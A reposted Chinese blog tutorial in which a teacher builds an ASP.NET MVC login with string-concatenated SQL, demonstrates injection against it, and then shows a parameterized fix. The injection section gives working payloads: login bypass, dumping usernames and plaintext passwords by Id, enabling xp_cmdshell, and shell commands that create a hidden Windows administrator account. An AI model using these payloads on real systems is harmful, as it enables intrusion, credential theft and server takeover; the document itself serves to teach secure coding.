浅谈SQL注入风险 - 一个Login拿下Server(转)

前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查。

可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都能登录了。不能这么写!”

“呦?小伙子这都知道了?那你说说看 啥是注入?注入只能拿来绕过登录么?”

好吧,竟然在老子面前装逼,看来不给你点儿颜色看看,你还真是不明白天有多高。。

于是乎。。哈哈。大清早的,轻松在班里装了一手好逼。。

呵呵。不说了,下面我把那个项目重写一下发上来吧。演示一下注入有哪些危害。怎么避免等。

(*^_^*) 大牛勿喷。


▁▃▅ 浅谈SQL注入风险 - 一个Login拿下Server ▅▃▁


目录:

  1. 数据库
  2. Web项目
  3. 演示注入
  4. 避免
  5. 完了

  本文主要就是介绍SQL注入基本手法,危害,以及如何解决。

  技术有点渣渣,大牛勿喷。。。。

一、数据库。

只创建了一个Admin表,结构如下:

1 create table Admin
2 (
3   Id int primary key identity(1,1) not null,
4   Username nvarchar(50) not null,
5   Password nvarchar(50) not null
6 )
7 go

插入三条测试数据如下:

二、Web项目

这里为了演示,所以我只搭建了一个简单的三层结构(ASP.NET MVC作为UI,DAL,BLL)以及模型Model:

1. Model模型层的AdminInfo.cs:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5
 6 namespace Guying.BlogsDemo.Model
 7 {
 8     /// <summary>
 9     /// Admin 模型
10     /// </summary>
11     public class AdminInfo
12     {
13         /// <summary>
14         /// 编号
15         /// </summary>
16         public int Id { get; set; }
17
18         /// <summary>
19         /// 账号
20         /// </summary>
21         public string Username { get; set; }
22
23         /// <summary>
24         /// 密码
25         /// </summary>
26         public string Password { get; set; }
27     }
28 }

AdminInfo.cs

2. Web.config添加连接字符串:

1     <connectionStrings>
2       <add name="BlogDemo" connectionString="server=.;database=BlogDemo;uid=sa;pwd=LonelyShadow" providerName="System.Data.SqlClient"/>
3     </connectionStrings>

3. DAL数据层的DBHelper.cs辅助类:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Configuration;
 4 using System.Linq;
 5 using System.Text;
 6
 7 namespace Guying.BlogsDemo.DAL
 8 {
 9     /// <summary>
10     /// 数据访问辅助类
11     /// </summary>
12     public class DBHelper
13     {
14         /// <summary>
15         /// BlogDemo 数据库链接字符串
16         /// </summary>
17         public static readonly string CONNECTIONSTRING = ConfigurationManager.ConnectionStrings["BlogDemo"].ConnectionString;
18     }
19 }

DBHelper.cs

4. DAL数据层的AdminService.cs中写了一个登录的Login方法(SQL存在注入):

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5 using System.Data.SqlClient;
 6 using Guying.BlogsDemo.Model;
 7
 8 namespace Guying.BlogsDemo.DAL
 9 {
10     /// <summary>
11     /// Admin 数据提供
12     /// </summary>
13     public class AdminService
14     {
15         /// <summary>
16         /// Admin 登录
17         /// </summary>
18         /// <param name="adminInfo">登录目标对象</param>
19         /// <returns>返回结果对象,null为登录失败</returns>
20         public AdminInfo Login(AdminInfo adminInfo)
21         {
22             AdminInfo result = null;
23             string sql = string.Format(" select Id,Username,Password from Admin where Username=‘{0}‘ and Password=‘{1}‘ ", adminInfo.Username, adminInfo.Password);
24             using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))
25             {
26                 conn.Open();
27                 using (SqlCommand comm = new SqlCommand(sql, conn))
28                 {
29                     using (SqlDataReader reader = comm.ExecuteReader())
30                     {
31                         if (reader.Read())
32                         {
33                             result = new AdminInfo()
34                             {
35                                 Id = (int)reader["Id"],
36                                 Username = reader["Username"].ToString(),
37                                 Password = reader["Password"].ToString()
38                             };
39                         }
40                     }
41                 }
42             }
43             return result;
44         }
45     }
46 }

AdminService.cs(SQL存在注入)

5. BLL业务逻辑的AdminManager.cs:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5 using Guying.BlogsDemo.DAL;
 6 using Guying.BlogsDemo.Model;
 7
 8 namespace Guying.BlogsDemo.BLL
 9 {
10     public class AdminManager
11     {
12         private AdminService _AdminService = null;
13
14         public AdminManager()
15         {
16             if (_AdminService==null)
17             {
18                 _AdminService = new AdminService();
19             }
20         }
21
22         /// <summary>
23         /// Admin 登录
24         /// </summary>
25         /// <param name="adminInfo">登录目标对象</param>
26         /// <returns>返回结果对象,null为登录失败</returns>
27         public AdminInfo Login(AdminInfo adminInfo)
28         {
29             return _AdminService.Login(adminInfo);
30         }
31     }
32 }

AdminManager.cs

6. WebUI层的HomeController:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Web;
 5 using System.Web.Mvc;
 6 using Guying.BlogsDemo.Model;
 7 using Guying.BlogsDemo.BLL;
 8 using System.Text;
 9
10 namespace Guying.BlogsDemo.WebUI.Controllers
11 {
12     public class HomeController : Controller
13     {
14         [HttpGet]
15         public ActionResult Login()
16         {
17             return View();
18         }
19
20         [HttpPost]
21         public ActionResult Login(AdminInfo adminInfo)
22         {
23             AdminManager _AdminManager = new AdminManager();
24             adminInfo = _AdminManager.Login(adminInfo);
25             JsonResult json = new JsonResult() { Data = adminInfo, ContentEncoding = Encoding.UTF8 };
26             return json;
27         }
28
29     }
30 }

WebUI的HomeController.cs

7. WebUI的Views/Home/Login:

 1 @model Guying.BlogsDemo.Model.AdminInfo
 2
 3 @{
 4     ViewBag.Title = "Login";
 5 }
 6
 7 <link href="~/CSS/home.login.css" rel="stylesheet" />
 8
 9 <div class="box-max">
10     <h2>Login</h2>
11     <hr />
12
13     @using (Html.BeginForm())
14     {
15         @Html.AntiForgeryToken()
16         @Html.ValidationSummary(true)
17
18         <table>
19             <tr>
20                 <th>账号:</th>
21                 <td>
22                     @Html.EditorFor(model => model.Username)
23                     @Html.ValidationMessageFor(model => model.Username)
24                 </td>
25             </tr>
26             <tr>
27                 <th>
28                     密码:
29                 </th>
30                 <td>
31                     @Html.EditorFor(model => model.Password)
32                     @Html.ValidationMessageFor(model => model.Password)
33                 </td>
34             </tr>
35             <tr>
36                 <td colspan="2" align="center">
37                     <input type="submit" value="登 录" />
38                 </td>
39             </tr>
40         </table>
41     }
42 </div>

Views/Home/Login.cshtml

8. WebUIHome/Login的css:

1 *{transition:all 0.3s;}
2 body{margin:0px; padding:0px; background-color:#F8F8F8;}
3 .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;}
4 .box-max table{width:100%;}
5 .box-max table tr{line-height:40px;}
6 .box-max table th{text-align:right;}
7 .box-max table td input{width:100%;}
8 .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;}
9 .box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}

home.login.css

9. 运行结果:

三、注入

1. 废话不多说、直接测试注入。

  账号: ‘ or 1=1 -- ,密码(随意): fuck ,结果如下:

  你还在认为注入只是为了绕过登录进入网站么?

  那你就错了。

  竟然返回的是一个包含整个用户信息的Json?!

  这也是一个程序设计的严重不当!

  不知道大家前阵子还记得某酒店、某招聘网站,就是因为移动App,被人抓包,截取到了一个request,提交id,则会返回其所有基本信息。

  最后导致千万级数据泄露。

  也就是类似于下面这样操作:

2. 获取所有用户信息:

  这里需要主键字段,我就不注入检测了,假设我们已经测出了主键为ID。

  那么我们可以登录这样写(密码随意):

  账号: ‘ or (1=1 and Id=1) -- ,返回结果: {"Id":1,"Username":"admin","Password":"admin1234"} ;

  账号: ‘ or (1=1 and Id=2) -- ,返回结果: {"Id":2,"Username":"zhangsan","Password":"666666"} ;

  账号: ‘ or (1=1 and Id=3) -- ,返回结果: {"Id":3,"Username":"lisi","Password":"888888"}

  如果我们写一个程序,循环发送这个请求,将获得的数据保存,那么你的用户数据裤子是不是也要被脱得干干净净了?

3. 下一步,经典的开启xp_cmdshell(看不懂的自行Google):

  账号: ‘ or 1=1; exec sp_configure ‘show advanced options‘,1; reconfigure; exec sp_configure ‘xp_cmdshell‘,1; reconfigure; --

  后面操作的结果就不用看了,也是返回前面登录用户的Json,但是已经成功执行后面的代码了。

  然后,xp_cmdshell已经获取了,你还想干什么不行?

  这里我只做一个概念性的测试,演示一下其危害。

  根据项目的不同,注入可能还会导致更严重的后果。

  当然,你也可以创建文件,添加任务等,例如这样:

    添加隐藏账号,并提升管理员组:

    账号填写: ‘ or 1=1; exec xp_cmdshell ‘echo net user fuck 123456 /add > D:\a.bat & echo net localgroup administrators

fuck /add >> D:\a.bat & echo exit >> D:\a.bat‘ --

    

    修改权限/修改所有者:

    账号填写: ‘ or 1=1; exec xp_cmdshell ‘icacls D:\a.bat /setowner everyone & icacls D:\a.bat /grant everyone:F‘ --

    执行:

    账号填写: ‘ or 1=1; exec xp_cmdshell ‘D: & D:\a.bat‘ --

  

  结果:

  

  好吧,上面DOS你懂得。

  当然,你还可以通过DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。

四、如何避免

这个应该很简单吧,其实就是我们日常编码习惯的问题。

登录SQL可以改成通过SqlParameter传参的方式,返回结果可以设置返回bool来标识成功/失败,修改后的方法如下:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5 using System.Data.SqlClient;
 6 using Guying.BlogsDemo.Model;
 7
 8 namespace Guying.BlogsDemo.DAL
 9 {
10     /// <summary>
11     /// Admin 数据提供
12     /// </summary>
13     public class AdminService
14     {
15         /// <summary>
16         /// Admin 登录
17         /// </summary>
18         /// <param name="adminInfo">登录目标对象</param>
19         /// <returns>返回操作结果,true成功 / false失败</returns>
20         public bool Login(AdminInfo adminInfo)
21         {
22             int count = 0;
23             string sql = " select count(1) from Admin where [email protected] and [email protected] ";
24             using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))
25             {
26                 conn.Open();
27                 using (SqlCommand comm = new SqlCommand(sql, conn))
28                 {
29                     comm.Parameters.AddRange(new[] { new SqlParameter("@Username", adminInfo.Username), new SqlParameter("@Password", adminInfo.Password) });
30                     count = (int)comm.ExecuteScalar();
31                 }
32             }
33             return count > 0;
34         }
35     }
36 }

修改后的登录方法

  平时写代码,多注意下这些问题。

  当然,数据库的存储过程也不是没卵用的咸鱼,记得多用。

五、 没了

就是演示一下危害,什么年代了都,不应该出现注入的问题了吧。

毕竟每个项目不一样,指不定注入还会导致什么问题呢。

最后。。。。。。。。。。。大牛勿喷。么么哒~

http://www.cnblogs.com/LonelyShadow/p/4925127.html

时间: 2024-10-13 00:18:54

浅谈SQL注入风险 - 一个Login拿下Server(转)的相关文章

浅谈SQL注入风险 - 一个Login拿下Server

前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都能登录了.不能这么写!” “呦?小伙子这都知道了?那你说说看 啥是注入?注入只能拿来绕过登录么?” 好吧,竟然在老子面前装逼,看来不给你点儿颜色看看,你还真是不明白天有多高.. 于是乎..哈哈.大清早的,轻松在班里装了一手好逼.. 呵呵.不说了,下面我把那个项目重写一下发上来吧.演示一下注入有哪些危

【sql注入】浅谈sql注入中的Post注入

[sql注入]浅谈sql注入中的Post注入 本文来源:i春秋学院 00x01在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在感觉到难,现在,就让我们一起来谈谈,post注入是多么的轻松吧!PS:文中有写os-shell00x02测试站点:http://xxx.xxxxx.com/对于我来说,post注入无非有两种方法第一种利用burp抓包然后使用sqlmap -r 来进行检测注入第二种比较简单,直接使用sqlmap --

浅谈SQL注入

先看一个sql语句: select * from admin where username='(此处为用户输入的数据)'; 在没有任何过滤的情况下,如果用户输入:' or 1=1 -- 这条语句就为:select * from admin where username='' or 1=1 --'; 可见,语句执行永远为真.此时就进行了sql注入. SQL注入有如下分类: 一.数字型注入 初始参数为:id=1 可以构造:id=1 or 1=1 (语句执行永远为真) id=1 and 1=2 (语句

浅谈SQL Server中的事务日志(四)----在完整恢复模式下日志的角色

浅谈SQL Server中的事务日志(四)----在完整恢复模式下日志的角色 本篇文章是系列文章中的第四篇,也是最后一篇,本篇文章需要前三篇的文章知识作为基础,前三篇的文章地址如下: 浅谈SQL Server中的事务日志(一)----事务日志的物理和逻辑构架 浅谈SQL Server中的事务日志(二)----事务日志在修改数据时的角色 浅谈SQL Server中的事务日志(三)----在简单恢复模式下日志的角色 简介 生产环境下的数据是如果可以写在资产负债表上的话,我想这个资产所占的数额一定不会

如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!

当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷.而使用PHP的PDO扩展的 prepare 方法,就可以避免 sql injection 风险. PDO(PHP Data Object) 是PHP5新加入的一个重大功能,因为在PHP 5以前的php4/php3都是一堆的数据库扩展来跟各个数据库的

浅入浅出SQL注入

已经开始了学习牛腩新闻发布系统,在讲后台代码的时候讲了一些重构SQLHelper的知识,存储过程和触发器等,这些以前都是接触过的.而SQL注入是以前没有注意过的,所以停下来总结学习一下SQL注入. 首先什么是SQL注入呢? 实战篇~~~~~~~~~~ SQL注入概念 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到

浅谈SQL Server数据库分页

数据库分页是老生常谈的问题了.如果使用ORM框架,再使用LINQ的话,一个Skip和Take就可以搞定.但是有时由于限制,需要使用存储过程来实现.在SQLServer中使用存储过程实现分页的已经有很多方法了.之前在面试中遇到过这一问题,问如何高效实现数据库分页.刚好上周在业务中也遇到了这个需求,所以在这里简单记录和分享一下. 一 需求 这里以SQLServer的示例数据库NorthWind为例,里面有一张Product表,现在假设我们的需求是要以UnitPrice降序排列,并且分页,每一页10条

转【】浅谈sql中的in与not in,exists与not exists的区别_

浅谈sql中的in与not in,exists与not exists的区别 1.in和exists in是把外表和内表作hash连接,而exists是对外表作loop循环,每次loop循环再对内表进行查询,一直以来认为exists比in效率高的说法是不准确的.如果查询的两个表大小相当,那么用in和exists差别不大:如果两个表中一个较小一个较大,则子查询表大的用exists,子查询表小的用in: 例如:表A(小表),表B(大表) select * from A where cc in(sele

浅谈SQL Server中的事务日志(二)----事务日志在修改数据时的角色

浅谈SQL Server中的事务日志(二)----事务日志在修改数据时的角色 本篇文章是系列文章中的第二篇,以防你还没有看过第一篇.上一篇的文章地址如下: 浅谈SQL Server中的事务日志(一)----事务日志的物理和逻辑构架 简介 每一个SQL Server的数据库都会按照其修改数据(insert,update,delete)的顺序将对应的日志记录到日志文件.SQL Server使用了Write-Ahead logging技术来保证了事务日志的原子性和持久性.而这项技术不仅仅保证了ACID